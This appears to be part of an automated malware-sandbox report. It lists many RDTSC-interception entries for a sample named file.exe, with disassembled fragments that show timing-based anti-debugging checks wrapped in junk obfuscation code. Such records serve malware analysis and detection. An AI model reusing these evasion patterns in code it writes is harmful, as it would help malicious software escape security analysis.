Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0615E second address: D06162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B0BB second address: D0B0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73B9h 0x00000009 jl 00007FA328DF73A6h 0x0000000f popad 0x00000010 pop esi 0x00000011 push eax 0x00000012 jmp 00007FA328DF73B1h 0x00000017 push ecx 0x00000018 jmp 00007FA328DF73AAh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B541 second address: D0B548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B9B7 second address: D0B9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B9C5 second address: D0B9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B9C9 second address: D0B9CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B9CF second address: D0B9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B9D5 second address: D0B9DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0B9DA second address: D0B9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0BE06 second address: D0BE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73ADh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C082 second address: D0C086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C086 second address: D0C0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA328DF73B7h 0x0000000e pushad 0x0000000f jmp 00007FA328DF73AAh 0x00000014 pushad 0x00000015 popad 0x00000016 jc 00007FA328DF73A6h 0x0000001c jmp 00007FA328DF73B9h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C0D3 second address: D0C0DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FA32872BAE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C0DF second address: D0C0E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C509 second address: D0C513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FA32872BAE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C513 second address: D0C55B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B5h 0x00000007 jc 00007FA328DF73A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FA328DF73B9h 0x0000001c jne 00007FA328DF73ACh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C55B second address: D0C55F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C55F second address: D0C565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C565 second address: D0C574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FA32872BAE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D113D2 second address: D113D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D113D8 second address: D113EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA32872BAEFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11929 second address: D11939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73AAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D11AA3 second address: D11AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1105D second address: D11084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73ACh 0x00000007 jmp 00007FA328DF73AFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007FA328DF73ACh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1231E second address: D12349 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAEEh 0x00000007 jp 00007FA32872BAE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA32872BAF1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1956A second address: D19578 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1CDE0 second address: D1CDE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6EA8 second address: CD6EAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6EAC second address: CBD4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 movzx edi, bx 0x0000000b mov dh, cl 0x0000000d lea eax, dword ptr [ebp+1248AC36h] 0x00000013 mov dword ptr [ebp+122D231Fh], eax 0x00000019 mov edi, dword ptr [ebp+122D264Ah] 0x0000001f push eax 0x00000020 pushad 0x00000021 pushad 0x00000022 jmp 00007FA32872BAF2h 0x00000027 jmp 00007FA32872BAECh 0x0000002c popad 0x0000002d push ebx 0x0000002e push edx 0x0000002f pop edx 0x00000030 pop ebx 0x00000031 popad 0x00000032 mov dword ptr [esp], eax 0x00000035 mov ecx, ebx 0x00000037 call dword ptr [ebp+122D28F5h] 0x0000003d pushad 0x0000003e jl 00007FA32872BAECh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD735C second address: CD7384 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA328DF73B2h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA328DF73ABh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD75BE second address: CD75C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7888 second address: CD788E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8068 second address: CD806E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD806E second address: CD8072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8072 second address: CD8091 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA32872BAF2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8091 second address: CD8097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD82C2 second address: CD82C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD82C6 second address: CD82CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD82CC second address: CD8326 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA32872BAECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FA32872BAE8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 jc 00007FA32872BAEEh 0x0000002b jl 00007FA32872BAE8h 0x00000031 push esi 0x00000032 pop edx 0x00000033 pushad 0x00000034 cld 0x00000035 push edi 0x00000036 mov dword ptr [ebp+122D203Ch], esi 0x0000003c pop ebx 0x0000003d popad 0x0000003e lea eax, dword ptr [ebp+1248AC7Ah] 0x00000044 mov dword ptr [ebp+122D263Fh], eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8326 second address: CD837B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007FA328DF73B1h 0x0000000f call 00007FA328DF73B5h 0x00000014 mov dword ptr [ebp+12458F95h], edx 0x0000001a pop ecx 0x0000001b pop edi 0x0000001c add dword ptr [ebp+122D200Bh], ecx 0x00000022 lea eax, dword ptr [ebp+1248AC36h] 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FA328DF73AEh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD837B second address: CD8381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8381 second address: CBDFFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 nop 0x00000012 mov dh, 47h 0x00000014 call dword ptr [ebp+122D2224h] 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jns 00007FA328DF73A6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D0F4 second address: D1D0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D0FC second address: D1D108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA328DF73A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D108 second address: D1D10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D395 second address: D1D3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA328DF73A6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21F0D second address: D21F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21F11 second address: D21F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D219BF second address: D219D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAEEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D219D5 second address: D219D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D240DD second address: D240EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA32872BAE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D240EC second address: D240F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28710 second address: D2871A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA32872BAE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2888A second address: D288A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FA328DF73A6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA328DF73AFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D288A8 second address: D288B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D288B7 second address: D288BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D288BB second address: D288BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D288BF second address: D288C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28A6E second address: D28A7A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28A7A second address: D28A91 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA328DF73B2h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28BC5 second address: D28BE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28BE1 second address: D28C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FA328DF73ABh 0x0000000b pushad 0x0000000c popad 0x0000000d je 00007FA328DF73A6h 0x00000013 jc 00007FA328DF73A6h 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007FA328DF73AFh 0x00000022 jmp 00007FA328DF73B5h 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a jne 00007FA328DF73A6h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28C33 second address: D28C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28D83 second address: D28D88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28D88 second address: D28D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30007 second address: D3000E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E835 second address: D2E839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E9A0 second address: D2E9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E9A8 second address: D2E9D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA32872BAF5h 0x00000009 jmp 00007FA32872BAEDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EB4F second address: D2EB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2ECED second address: D2ECF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2ECF3 second address: D2ECF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2ECF8 second address: D2ED2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAECh 0x00000007 push edx 0x00000008 jne 00007FA32872BAE6h 0x0000000e jmp 00007FA32872BAF6h 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ecx 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F19D second address: D2F1A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F1A1 second address: D2F1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA32872BAE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F1B2 second address: D2F1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jmp 00007FA328DF73B0h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2FD41 second address: D2FD4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA32872BAE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C91A7F second address: C91A9B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA328DF73ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA328DF73ACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C91A89 second address: C91A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FA32872BAECh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32939 second address: D32969 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA328DF73BCh 0x00000008 jmp 00007FA328DF73B6h 0x0000000d jnc 00007FA328DF73A8h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32969 second address: D3296D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3296D second address: D32973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32973 second address: D32979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38B8C second address: D38B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38B92 second address: D38B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38FE0 second address: D38FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA328DF73A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38FEC second address: D38FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38FF8 second address: D39001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D395CE second address: D39605 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FA32872BAF2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FA32872BAF6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop esi 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39EE5 second address: D39EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FA328DF73A6h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39EF5 second address: D39F11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A542 second address: D3A54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A54A second address: D3A57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA32872BAE6h 0x0000000a jmp 00007FA32872BAF4h 0x0000000f popad 0x00000010 push ebx 0x00000011 jmp 00007FA32872BAEBh 0x00000016 pop ebx 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A57B second address: D3A581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
